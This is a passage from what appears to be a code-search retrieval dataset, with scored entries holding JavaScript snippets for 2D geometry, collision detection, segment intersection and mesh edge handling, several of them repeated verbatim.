if (u1 > 0.0) {\n return;\n }\n }\n\n manifold.type = Manifold.e_circles;\n manifold.localNormal.setZero();\n manifold.localPoint.set(P);\n manifold.pointCount = 1;\n manifold.points[0].localPoint.set(circleB.m_p);\n\n // manifold.points[0].id.key = 0;\n manifold.points[0].id.cf.indexA = 0;\n manifold.points[0].id.cf.typeA = Manifold.e_vertex;\n manifold.points[0].id.cf.indexB = 0;\n manifold.points[0].id.cf.typeB = Manifold.e_vertex;\n return;\n }\n\n // Region B\n if (u <= 0.0) {\n var P = Vec2.clone(B);\n var d = Vec2.sub(Q, P);\n var dd = Vec2.dot(d, d);\n if (dd > radius * radius) {\n return;\n }\n\n // Is there an edge connected to B?\n if (edgeA.m_hasVertex3) {\n var B2 = edgeA.m_vertex3;\n var A2 = B;\n var e2 = Vec2.sub(B2, A2);\n var v2 = Vec2.dot(e2, Vec2.sub(Q, A2));\n\n // Is the circle in Region AB of the next edge?\n if (v2 > 0.0) {\n return;\n }\n }\n\n manifold.type = Manifold.e_circles;\n manifold.localNormal.setZero();\n manifold.localPoint.set(P);\n manifold.pointCount = 1;\n manifold.points[0].localPoint.set(circleB.m_p);\n\n // manifold.points[0].id.key = 0;\n manifold.points[0].id.cf.indexA = 1;\n manifold.points[0].id.cf.typeA = Manifold.e_vertex;\n manifold.points[0].id.cf.indexB = 0;\n manifold.points[0].id.cf.typeB = Manifold.e_vertex;\n return;\n }\n\n // Region AB\n var den = Vec2.dot(e, e);\n _ASSERT && common.assert(den > 0.0);\n var P = Vec2.combine(u / den, A, v / den, B);\n var d = Vec2.sub(Q, P);\n var dd = Vec2.dot(d, d);\n if (dd > radius * radius) {\n return;\n }\n\n var n = Vec2.neo(-e.y, e.x);\n if (Vec2.dot(n, Vec2.sub(Q, A)) < 0.0) {\n n.set(-n.x, -n.y);\n }\n n.normalize();\n\n manifold.type = Manifold.e_faceA;\n manifold.localNormal = n;\n manifold.localPoint.set(A);\n manifold.pointCount = 1;\n manifold.points[0].localPoint.set(circleB.m_p);\n\n // manifold.points[0].id.key = 0;\n manifold.points[0].id.cf.indexA = 0;\n manifold.points[0].id.cf.typeA = Manifold.e_face;\n manifold.points[0].id.cf.indexB = 0;\n manifold.points[0].id.cf.typeB = Manifold.e_vertex;\n}", "title": "" }, { "docid": "5bb5158f7770c82893df9fe859556c44", "score": "0.53662395", "text": "function colision(a, b) {\n return !(\n ((a.y + a.h) < (b.y)) ||\n (a.y > (b.y + b.h)) ||\n ((a.x + a.w) < b.x) ||\n (a.x > (b.x + b.w))\n );\n}", "title": "" }, { "docid": "f3622236effc6906239141265e9d37e4", "score": "0.53641677", "text": "function sat(o1, o2){\r\n let minOverlap = null;\r\n let smallestAxis;\r\n let vertexObj;\r\n\r\n let axes = findAxes(o1, o2);\r\n let proj1, proj2 = 0;\r\n let firstShapeAxes = getShapeAxes(o1);\r\n\r\n for(let i=0; i<axes.length; i++){\r\n proj1 = projShapeOntoAxis(axes[i], o1);\r\n proj2 = projShapeOntoAxis(axes[i], o2);\r\n let overlap = Math.min(proj1.max, proj2.max) - Math.max(proj1.min, proj2.min);\r\n if (overlap < 0){\r\n return false;\r\n }\r\n\r\n if((proj1.max > proj2.max && proj1.min < proj2.min) ||\r\n (proj1.max < proj2.max && proj1.min > proj2.min)){\r\n let mins = Math.abs(proj1.min - proj2.min);\r\n let maxs = Math.abs(proj1.max - proj2.max);\r\n if (mins < maxs){\r\n overlap += mins;\r\n } else {\r\n overlap += maxs;\r\n axes[i] = axes[i].mult(-1);\r\n }\r\n }\r\n\r\n if (overlap < minOverlap || minOverlap === null){\r\n minOverlap = overlap;\r\n smallestAxis = axes[i];\r\n if (i<firstShapeAxes){\r\n vertexObj = o2;\r\n if(proj1.max > proj2.max){\r\n smallestAxis = axes[i].mult(-1);\r\n }\r\n } else {\r\n vertexObj = o1;\r\n if(proj1.max < proj2.max){\r\n smallestAxis = axes[i].mult(-1);\r\n }\r\n }\r\n } \r\n };\r\n\r\n let contactVertex = projShapeOntoAxis(smallestAxis, vertexObj).collVertex;\r\n //smallestAxis.drawVec(contactVertex.x, contactVertex.y, minOverlap, \"blue\");\r\n\r\n if(vertexObj === o2){\r\n smallestAxis = smallestAxis.mult(-1);\r\n }\r\n\r\n return {\r\n pen: minOverlap,\r\n axis: smallestAxis,\r\n vertex: contactVertex\r\n }\r\n}", "title": "" }, { "docid": "2ee1653289596bc470ac7d5c60a57f38", "score": "0.53575957", "text": "function sameSide(p1x,p1y,p2x,p2y,ax,ay,bx,by){\n\t// diff.crossproduct(diff) * diff.crossproduct(diff) -- brain hurts here...\n\t// tells if two points are on the same side of a segment. \n\t// needed three times to test position inside the triangle\n\treturn ( (bx-ax) * (p1y-ay) - (by-ay) * (p1x-ax) ) * ( (bx-ax) * (p2y-ay) - (by-ay) * (p2x-ax) ) >= 0;\n}", "title": "" }, { "docid": "5f5d44d638963bb74b51ae98c6cd1dee", "score": "0.53468895", "text": "contains_edge(u, v) {\r\n //verifico che l'arco sia presente nel grafo\r\n const e = [u,v].sort().toString();\r\n return this.archi.includes(e);\r\n }", "title": "" }, { "docid": "37296d753916276dde87249b6a7b9079", "score": "0.53461516", "text": "function b2CollideEdgeAndPolygon(manifold,\n\t\t\t\t\t\t\t edgeA, xfA,\n\t\t\t\t\t\t\t polygonB, xfB)\n{\n\tb2CollideEdgeAndPolygon.collider.Collide(manifold, edgeA, xfA, polygonB, xfB);\n}", "title": "" }, { "docid": "50bef691ce38678c3cd77ea013476659", "score": "0.53400254", "text": "function pointsInteriorP2(a,b,stepSize){\n\t\n\tvar unitVector = normalizeP2(minusP2(b,a));\n\tvar pointArray = [];\n\tvar pointArrayTemp = [];\n\t\n\tvar numOfSteps = Math.ceil(distP2(a,b)/stepSize);\n\t\n\tfor(var i=0; i<numOfSteps; i++){\n\t\tpointArray.push(plusP2(a,productP2(unitVector,stepSize*(i+1))));\n\t}\n\t\n\tpointArray[pointArray.length-1] = b;\n\t\n\tfor (var j = 0; j<pointArray.length; j++){//foward search\n\t\tif(!isColorEqualP2(b,pointArray[j])){\n\t\t\tpointArrayTemp.push(pointArray[j]);\n\t\t}\n\t\telse{\n\t\t\tbreak;\n\t\t}\n\t}\n\t\n\t\n\treturn pointArrayTemp;\n}", "title": "" }, { "docid": "4d2e770977bdbde1e991ca31bd8ec79c", "score": "0.5339373", "text": "function lineIntersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y) {\n var delta = determinant(a2x - a1x, b1x - b2x, a2y - a1y, b1y - b2y);\n if (nearZero(delta)) { // parallel\n return false;\n }\n var namenda = determinant(b1x - a1x, b1x - b2x, b1y - a1y, b1y - b2y) / delta;\n if (namenda < 0 || namenda > 1) {\n return false;\n }\n var miu = determinant(a2x - a1x, b1x - a1x, a2y - a1y, b1y - a1y) / delta;\n if (miu < 0 || miu > 1) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "4d2e770977bdbde1e991ca31bd8ec79c", "score": "0.5339373", "text": "function lineIntersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y) {\n var delta = determinant(a2x - a1x, b1x - b2x, a2y - a1y, b1y - b2y);\n if (nearZero(delta)) { // parallel\n return false;\n }\n var namenda = determinant(b1x - a1x, b1x - b2x, b1y - a1y, b1y - b2y) / delta;\n if (namenda < 0 || namenda > 1) {\n return false;\n }\n var miu = determinant(a2x - a1x, b1x - a1x, a2y - a1y, b1y - a1y) / delta;\n if (miu < 0 || miu > 1) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "e740a01b125c61bdae98ce0b321a92bb", "score": "0.5339257", "text": "insertNewConstrainedEdge(seg, edge, iEdge, lEdge, rEdge) {\n\t\t\tthis._edges.push(edge);\n\n\t\t\tthis._edges.push(edge.oppositeEdge);\n\n\t\t\tedge.addFromConstraintSegment(seg);\n\t\t\tedge.oppositeEdge.fromConstraintSegments = edge.fromConstraintSegments;\n\t\t\tseg.addEdge(edge);\n\t\t\tedge.originVertex.addFromConstraintSegment(seg);\n\t\t\tedge.destinationVertex.addFromConstraintSegment(seg);\n\t\t\tthis.untriangulate(iEdge);\n\t\t\tthis.triangulate(lEdge, true);\n\t\t\tthis.triangulate(rEdge, true);\n\t\t}", "title": "" }, { "docid": "31bacf6d23ae4240496283694e9bfa79", "score": "0.53383166", "text": "function intersect$1(a, b) {\n return !(\n a.x2 - 1 < b.x1 ||\n a.x1 + 1 > b.x2 ||\n a.y2 - 1 < b.y1 ||\n a.y1 + 1 > b.y2\n );\n}", "title": "" }, { "docid": "a678c076d61be5fb13419ebc7dbd7029", "score": "0.53378856", "text": "edge() {\n if( this.posX + this.r >= width || this.posX - this.r <= 0){\n this.deltaX *= -1;\n }\n if( this.posY + this.r >= height || this.posY - this.r <= 0) {\n this.deltaY *= -1;\n }\n }", "title": "" }, { "docid": "fd62b0a75673eaba441f7bf8059cf65e", "score": "0.53366596", "text": "function addConnectedNeighbour(self, cellA, cellB){\n self.currentGeneration.addEdge(\n cellA.join(\"-\"), \n cellB.join(\"-\"));\n }", "title": "" }, { "docid": "cd38681a4014b938772d5cd4ec5fdcc4", "score": "0.5326648", "text": "function addEdge(origin, destination){\n adjancencyList.get(origin).push(destination);\n adjancencyList.get(destination).push(origin);\n}", "title": "" }, { "docid": "40240354d6c42d33e8ec80d5ec06d5e2", "score": "0.5324125", "text": "function addMidPoint(a, b) {\n const key = Math.floor(((a + b) * (a + b + 1) / 2) + Math.min(a, b)); // Cantor's pairing function\n let i = midCache.get(key);\n if (i !== undefined) {\n midCache.delete(key); // midpoint is only reused once, so we delete it for performance\n return i;\n }\n midCache.set(key, v);\n vertices[3 * v + 0] = (vertices[3 * a + 0] + vertices[3 * b + 0]) * 0.5;\n vertices[3 * v + 1] = (vertices[3 * a + 1] + vertices[3 * b + 1]) * 0.5;\n vertices[3 * v + 2] = (vertices[3 * a + 2] + vertices[3 * b + 2]) * 0.5;\n i = v++;\n return i;\n }", "title": "" }, { "docid": "cd65a1f29fe71c782bc61430badcb6da", "score": "0.53192633", "text": "function drawEdge(source, target, type) {\n\n var bird;\n var tmp_geo = new THREE.Geometry();\n tmp_geo.vertices.push(source.data.draw_object.position);\n tmp_geo.vertices.push(target.data.draw_object.position);\n var g = new MeshLine();\n g.setGeometry(tmp_geo);\n\n switch (type) {\n case 0:\n /*Friendship connections*/\n\n var material = new MeshLineMaterial({\n \t\tuseMap: 0,\n \t\tcolor: new THREE.Color( colorEdge ),\n \t\topacity: 1,\n \t\tresolution: resolution,\n \t\tsizeAttenuation: false,\n \t\tlineWidth: 2.5,\n \t});\n\n line = new THREE.Mesh(g.geometry, material);\n\n break;\n\n case 1:\n /* Rebuig Connections*/\n\n var material = new MeshLineMaterial({\n useMap: false,\n color: new THREE.Color( red ),\n opacity: 1,\n resolution: resolution,\n sizeAttenuation: false,\n dashArray: 0.01,\n lineWidth: 4,\n });\n\n line = new THREE.Mesh(g.geometry, material);\n\n if(source.data.nom == \"SALVADOR\" || target.data.nom == \"SALVADOR\"){\n var triangle_geo = new THREE.Geometry();\n var v1 = new THREE.Vector3(0,20,0);\n var v2 = new THREE.Vector3(0,0,0);\n var v3 = new THREE.Vector3(20,0,0);\n }else{\n var triangle_geo = new THREE.Geometry();\n var v1 = new THREE.Vector3(-20,20,0);\n var v2 = new THREE.Vector3(0,0,0);\n var v3 = new THREE.Vector3(20,20,0);\n }\n\n triangle_geo.vertices.push(v1);\n triangle_geo.vertices.push(v2);\n triangle_geo.vertices.push(v3);\n\n triangle_geo.faces.push( new THREE.Face3( 0, 1, 2 ) );\n triangle_geo.computeFaceNormals();\n\n var triangle_mesh= new THREE.Mesh( triangle_geo, new THREE.MeshBasicMaterial( { color: red, side: THREE.DoubleSide } ) );\n\n triangle_mesh.position.x = (target.data.draw_object.position.x + source.data.draw_object.position.x)/2;\n triangle_mesh.position.y = (target.data.draw_object.position.y + source.data.draw_object.position.y)/2;\n triangle_mesh.position.z = (target.data.draw_object.position.z + source.data.draw_object.position.z)/2;\n\n triangles.push(triangle_mesh);\n\n scene.add(triangle_mesh);\n\n\n break;\n\n case 2:\n /* Adora connections*/\n\n var material = new MeshLineMaterial({\n useMap: false,\n color: new THREE.Color( green ),\n opacity: 1,\n resolution: resolution,\n sizeAttenuation: false,\n dashArray: 0.01,\n lineWidth: 4,\n alphaTest:1,\n });\n\n line = new THREE.Mesh(g.geometry, material);\n\n if(source.data.nom == \"JOAN\" || target.data.nom == \"JOAN\"){\n var triangle_geo = new THREE.Geometry();\n var v1 = new THREE.Vector3(0,20,0);\n var v2 = new THREE.Vector3(0,0,0);\n var v3 = new THREE.Vector3(20,0,0);\n }else if (source.data.nom == \"ALIGHIERO\" || target.data.nom == \"ALIGHIERO\") {\n var triangle_geo = new THREE.Geometry();\n var v1 = new THREE.Vector3(-20,20,0);\n var v2 = new THREE.Vector3(20,-20,0);\n var v3 = new THREE.Vector3(20,20,0);\n }else{\n var triangle_geo = new THREE.Geometry();\n var v1 = new THREE.Vector3(-20,20,0);\n var v2 = new THREE.Vector3(0,0,0);\n var v3 = new THREE.Vector3(20,20,0);\n }\n triangle_geo.vertices.push(v1);\n triangle_geo.vertices.push(v2);\n triangle_geo.vertices.push(v3);\n\n triangle_geo.faces.push( new THREE.Face3( 0, 1, 2 ) );\n triangle_geo.computeFaceNormals();\n\n var triangle_mesh= new THREE.Mesh( triangle_geo, new THREE.MeshBasicMaterial( { color: green, side: THREE.DoubleSide } ) );\n\n triangle_mesh.position.x = (target.data.draw_object.position.x + source.data.draw_object.position.x)/2;\n triangle_mesh.position.y = (target.data.draw_object.position.y + source.data.draw_object.position.y)/2;\n triangle_mesh.position.z = (target.data.draw_object.position.z + source.data.draw_object.position.z)/2;\n\n triangles.push(triangle_mesh);\n\n scene.add(triangle_mesh);\n\n break;\n\n case 3:\n /*Equipo cronica connections*/\n\n var material = new MeshLineMaterial({\n useMap: false,\n color: new THREE.Color( colorEdge ),\n opacity: 1,\n resolution: resolution,\n sizeAttenuation: false,\n lineWidth: 2.5,\n });\n\n line = new THREE.Mesh(g.geometry, material);\n\n break;\n\n }\n //line.layers.set(1);\n scene.add( line );\n }", "title": "" }, { "docid": "1b86a356162d67781d4224d4cea31684", "score": "0.5314801", "text": "function linesAreIntersecting(lineA, lineB)\n{\n\tvar qMinusP = new Line(lineA.start, lineB.start);\n\tvar qMinusPCrossS = crossProduct2D(qMinusP.direction, lineA.direction);\n\tvar qMinusPCrossR = crossProduct2D(qMinusP.direction, lineB.direction);\n\tvar rCrossS = crossProduct2D(lineA.direction, lineB.direction);\n\tvar t = qMinusPCrossS / rCrossS;\n\tvar u = qMinusPCrossR / rCrossS;\n\n\t// Lines are collinear, and so intersect if they have any overlap\n\tif (qMinusPCrossR == 0)\n\t{\n\t\treturn ((lineB.start.x - lineA.start.x < 0) != (lineB.start.x - lineA.end.x < 0))\n\t\t|| ((lineB.start.y - lineA.start.y < 0) != (lineB.start.y - lineA.end.y < 0));\n\t}\n\n\t// Lines are parallel.\n\tif (rCrossS == 0){\n\t\t\n\t\treturn false; \n\t}\n\n\t//check that only the segments are intersecting\n\treturn (t >= 0) && (t <= 1) && (u >= 0) && (u <= 1);\n}", "title": "" }, { "docid": "b8afa79e7ac04021330ecd6a8c3c886c", "score": "0.5310344", "text": "createFromSegments(segment1, segment2) {\n return Curve.create(\n segment1.anchor && segment1.anchor.vector,\n segment2.anchor && segment2.anchor.vector,\n segment1.handleOut && segment1.handleOut.vector,\n segment2.handleIn && segment2.handleIn.vector\n );\n }", "title": "" }, { "docid": "a086272a6f475abfeec19d7af770d1ab", "score": "0.53098965", "text": "function handleGlue1(p, paths, right_direction, conf, opt){\r\n var errmsg = \"\";\r\n var point_desc = right_direction ? \"start point\" : \"end point\";\r\n\r\n var mp = roughMeasureing(p, paths, conf);\r\n \r\n var msg_fail_to_find = \" : failed to find a point to glue.\";\r\n \r\n if(mp.d < 0){\r\n errmsg = point_desc + msg_fail_to_find;\r\n \r\n } else {\r\n var np_spec = findTForNearestPoint(mp.b, mp.t, p.anchor, conf.INITIAL_T_STEP, conf);\r\n \r\n if( mp.alt.t != null){\r\n var np_spec_alt = findTForNearestPoint(mp.alt.b, mp.alt.t, p.anchor, conf.INITIAL_T_STEP, conf);\r\n if( np_spec_alt.d < np_spec.d ) np_spec = np_spec_alt;\r\n }\r\n \r\n if(np_spec.errmsg != \"\"){\r\n errmsg = point_desc + \"?F\" + np_spec.errmsg;\r\n \r\n } else if( np_spec.d < 0){\r\n errmsg = point_desc + msg_fail_to_find;\r\n \r\n } else {\r\n // move anchor\r\n var d_min_pnt = np_spec.b.pnt( np_spec.t );\r\n\r\n opt.previewed = true;\r\n movePathPointTo(p, d_min_pnt);\r\n \r\n if(conf.add_anchor){\r\n if(np_spec.t > 0 && np_spec.t < 1){\r\n addAnchorAtT(np_spec.b.pp, np_spec.b.idx1, np_spec.b.idx2, np_spec.t, np_spec.b, d_min_pnt);\r\n }\r\n }\r\n \r\n // rotate handle\r\n var handle = right_direction ? p.rightDirection : p.leftDirection;\r\n var angle = np_spec.b.getTangentAngle(np_spec.t);\r\n\r\n var anglePnt = [ d_min_pnt[0] + Math.cos(angle),\r\n d_min_pnt[1] + Math.sin(angle)];\r\n\r\n if( dot(handle, anglePnt, p.anchor) < conf.TOLERANCE ){\r\n angle += Math.PI;\r\n }\r\n \r\n if( right_direction ){\r\n p.rightDirection = rotPntToAngle( p.rightDirection, p.anchor, angle );\r\n p.leftDirection = p.anchor;\r\n } else {\r\n p.leftDirection = rotPntToAngle( p.leftDirection, p.anchor, angle );\r\n p.rightDirection = p.anchor;\r\n }\r\n }\r\n }\r\n \r\n return errmsg;\r\n}", "title": "" }, { "docid": "378d04131642b9a09b2853e89432c489", "score": "0.5306207", "text": "function overlaps(a, b) {\n if (a.x1 >= b.xMax || a.y1 >= b.yMax || a.x2 <= b.xMin || a.y2 <= b.yMin) {\n return false\n } else {\n return true\n }\n }", "title": "" }, { "docid": "319d9c4ae4733d6bccc77bce8e8cd93e", "score": "0.5301639", "text": "function onSegment(p, q, r) {\n if (\n q.x <= Math.max(p.x, r.x) &&\n q.x >= Math.min(p.x, r.x) &&\n q.y <= Math.max(p.y, r.y) &&\n q.y >= Math.min(p.y, r.y)\n )\n return true;\n\n return false;\n}", "title": "" }, { "docid": "7f5965c64dc2541907ea8456067e667d", "score": "0.529876", "text": "function checkMeshConnectivity({points, delaunator: {triangles, halfedges}}) {\n // 1. make sure each side's opposite is back to itself\n // 2. make sure region-circulating starting from each side works\n let r_ghost = points.length - 1, s_out = [];\n for (let s0 = 0; s0 < triangles.length; s0++) {\n if (halfedges[halfedges[s0]] !== s0) {\n console.log(`FAIL _halfedges[_halfedges[${s0}]] !== ${s0}`);\n }\n let s = s0, count = 0;\n s_out.length = 0;\n do {\n count++; s_out.push(s);\n s = TriangleMesh.s_next_s(halfedges[s]);\n if (count > 100 && triangles[s0] !== r_ghost) {\n console.log(`FAIL to circulate around region with start side=${s0} from region ${triangles[s0]} to ${triangles[TriangleMesh.s_next_s(s0)]}, out_s=${s_out}`);\n break;\n }\n } while (s !== s0);\n }\n}", "title": "" }, { "docid": "70f912adb420898f0d40a34e50509dfe", "score": "0.52956295", "text": "function polarbearsIntersect(a,b){\n\t\tvar ab = a.getBounds();\n\t\tvar bb = b.getBounds();\n\t\treturn ab.x + ab.width/3 > bb.x && ab.x < bb.x + bb.width/3 && ab.y + ab.height/4 > bb.y && ab.y < bb.y + bb.height/4;\n\t}", "title": "" }, { "docid": "34aa009585ce4337f0dab9fdfffd3807", "score": "0.5291814", "text": "singleCrease(origami, faceID, crease){\n let face = origami.getFaceByID(faceID);\n if (!face){\n // console.log('No such face to crease');\n return Crease.RESULT_INVALID_FACEID;\n }\n let edge = face.intersectEdge(crease, true);\n if (edge === null) {\n // console.log('No such crease');\n return Crease.RESULT_INVALID_CREASE;\n }\n\n // Assumed order\n let p1 = edge.p1;\n let p2 = edge.p2;\n let edge1Index = null;\n let edge2Index = null;\n let id = face.id; // Original id\n\n // Find the index of the two edges that the crease end points are on\n for (let i = 0; i < face.edges.length; i ++){\n if (face.edges[i].hasPoint(p1)){\n edge1Index = i;\n }\n if (face.edges[i].hasPoint(p2)){\n edge2Index = i;\n }\n }\n\n if (edge1Index === null || edge2Index === null){\n // NOTE: Maybe won't reach here\n // console.log('Crease Failed');\n return Crease.RESULT_FAILED_CREASE;\n }\n\n if (edge1Index > edge2Index){\n // Order not correct, flip\n p1 = edge.p2;\n p2 = edge.p1;\n let edgeTmpIndex = edge1Index; // Temp variable to save the index\n edge1Index = edge2Index;\n edge2Index = edgeTmpIndex;\n }\n\n // Helper function\n let addFixedEdge = (faceTmp, edgeTmp) => {\n // If invalid, don't add.\n if (!edgeTmp.isValid()) return;\n\n if (edgeTmp.isBoundary){\n // If just a boundary fix parent and add\n edgeTmp.parentFace1 = faceTmp;\n faceTmp.addEdge(edgeTmp);\n }\n if (edgeTmp.isCrease){\n // console.log('Crease', edgeTmp);\n // Fix the same crease on other face if exists\n let f = edgeTmp.parentFace2;\n let indexList = f.edgeIndexList(edgeTmp, true); // Use infinite length\n if (indexList.length > 0) {\n let index = indexList[0]; // Default to first match\n if (indexList.length > 1){\n // If more than one edge, should be able to find an exact one\n let hasExactMatch = false;\n for (let j = 0; j < indexList.length; j ++){\n if (f.edges[indexList[j]].isEqual(edgeTmp, true)){\n index = indexList[j];\n hasExactMatch = true;\n }\n }\n if (!hasExactMatch){\n console.log('Not sure which match to use');\n }\n }\n if (f.hasEdge(edgeTmp, true)){\n // Edge already exists on other face, not broken\n f.edges[index].parentFace2 = faceTmp;\n } else {\n // Create new edges for the other face\n let face = new Face(f.id);\n\n let k = 0;\n while (k < index){\n face.addEdge(f.edges[k]);\n k += 1;\n }\n\n let p; // The point not end point\n if (f.edges[k].isPointP1(edgeTmp.p1) || f.edges[k].isPointP2(edgeTmp.p1)){\n p = edgeTmp.p2.copy;\n } else {\n p = edgeTmp.p1.copy;\n }\n face.addEdge(new Edge(f.edges[k].p1.copy,p,f.edges[k].parentFace1,faceTmp));\n face.addEdge(new Edge(p,f.edges[k].p2.copy,f.edges[k].parentFace1,faceTmp));\n k += 1;\n while (k < f.edges.length){\n face.addEdge(f.edges[k]);\n k += 1;\n }\n\n f.edges = face.edges;\n }\n // parentFace1 will always be the one that need fix\n // A face's crease will always has itself as the first parent\n edgeTmp.parentFace1 = faceTmp;\n faceTmp.addEdge(edgeTmp);\n }\n }\n }\n\n // Make face 1\n let face1 = new Face(id); // face 1 use original id\n face1.layer = face.layer;\n let i = 0;\n while(i < edge1Index){\n addFixedEdge(face1, face.edges[i]);\n i ++;\n }\n // Add p1 to x1y1 edge\n addFixedEdge(face1, new Edge(face.edges[i].p1.copy,p1.copy,face.edges[i].parentFace1,face.edges[i].parentFace2));\n i ++;\n // Add x1y1 to x2y2 edge\n let newCrease1 = new Edge(p1.copy,p2.copy,face1); // Should fix the parent later in this function\n face1.addEdge(newCrease1);\n i = edge2Index;\n addFixedEdge(face1, new Edge(p2.copy,face.edges[i].p2.copy,face.edges[i].parentFace1,face.edges[i].parentFace2));\n i ++;\n while(i<face.edges.length){\n addFixedEdge(face1, face.edges[i]);\n i ++;\n }\n // Make face 2\n let face2 = new Face(origami.faces.length+1); // face 2 increment id\n face2.layer = face.layer;\n i = edge1Index;\n // Add x1y1 to p2 edge\n addFixedEdge(face2, new Edge(p1.copy,face.edges[i].p2.copy,face.edges[i].parentFace1,face.edges[i].parentFace2));\n i ++;\n while(i !== edge2Index){\n // Add edge until edge2 is found\n addFixedEdge(face2, face.edges[i]);\n i ++;\n }\n // Add p1 to x2y2 edge\n addFixedEdge(face2, new Edge(face.edges[i].p1.copy,p2.copy,face.edges[i].parentFace1,face.edges[i].parentFace2));\n i ++;\n // Add x2y2 to x1y1 edge\n newCrease1.parentFace2 = face2; // Fix previous one here\n let newCrease2 = new Edge(p2.copy,p1.copy,face2,face1);\n face2.addEdge(newCrease2);\n\n // console.log(face1);\n // console.log(face2);\n\n origami.faces.splice(origami.faces.indexOf(face), 1, face1); // Replace original face\n origami.faces.push(face2);\n\n origami.sortFaces();\n return Crease.RESULT_SUCCESSFUL;\n }", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.5290092", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "95ba4ae6830f7a9a746e60bf04704dcd", "score": "0.52883804", "text": "function contains(a, b) {\n return !(\n b.xMin < a.x1 ||\n b.yMin < a.y1 ||\n b.xMax > a.x2 ||\n b.yMax > a.y2\n );\n }", "title": "" }, { "docid": "ccd0a2db418888c0544026a68d930064", "score": "0.52870953", "text": "function retta(let a, let b) {\n strokeWeight(6.5);//modifica retta() di filo per avere maggiore spessore\n stroke(setColore());\n if (a.x==b.x) {\n line(a.x, 0, a.x, height);\n } else {\n m=(a.y-b.y)/(a.x-b.x);\n q=a.y-(b.y-a.y)*a.x/(b.x-a.x);\n\n line(0, q, width, m*width+q);\n }\n }", "title": "" }, { "docid": "da08cc95b9ea7576b33e6ba5ff8dd6d1", "score": "0.5286475", "text": "function intersectLine(p1,p2,q1,q2){\n// Algorithm from J. Avro, (ed.) Graphics Gems, No 2, Morgan Kaufmann, 1994,\n// p7 and p473.\nvar a1,a2,b1,b2,c1,c2;var r1,r2,r3,r4;var denom,offset,num;var x,y;\n// Compute a1, b1, c1, where line joining points 1 and 2 is F(x,y) = a1 x +\n// b1 y + c1 = 0.\na1=p2.y-p1.y;b1=p1.x-p2.x;c1=p2.x*p1.y-p1.x*p2.y;\n// Compute r3 and r4.\nr3=a1*q1.x+b1*q1.y+c1;r4=a1*q2.x+b1*q2.y+c1;\n// Check signs of r3 and r4. If both point 3 and point 4 lie on\n// same side of line 1, the line segments do not intersect.\nif(r3!==0&&r4!==0&&sameSign(r3,r4)){return}\n// Compute a2, b2, c2 where line joining points 3 and 4 is G(x,y) = a2 x + b2 y + c2 = 0\na2=q2.y-q1.y;b2=q1.x-q2.x;c2=q2.x*q1.y-q1.x*q2.y;\n// Compute r1 and r2\nr1=a2*p1.x+b2*p1.y+c2;r2=a2*p2.x+b2*p2.y+c2;\n// Check signs of r1 and r2. If both point 1 and point 2 lie\n// on same side of second line segment, the line segments do\n// not intersect.\nif(r1!==0&&r2!==0&&sameSign(r1,r2)){return}\n// Line segments intersect: compute intersection 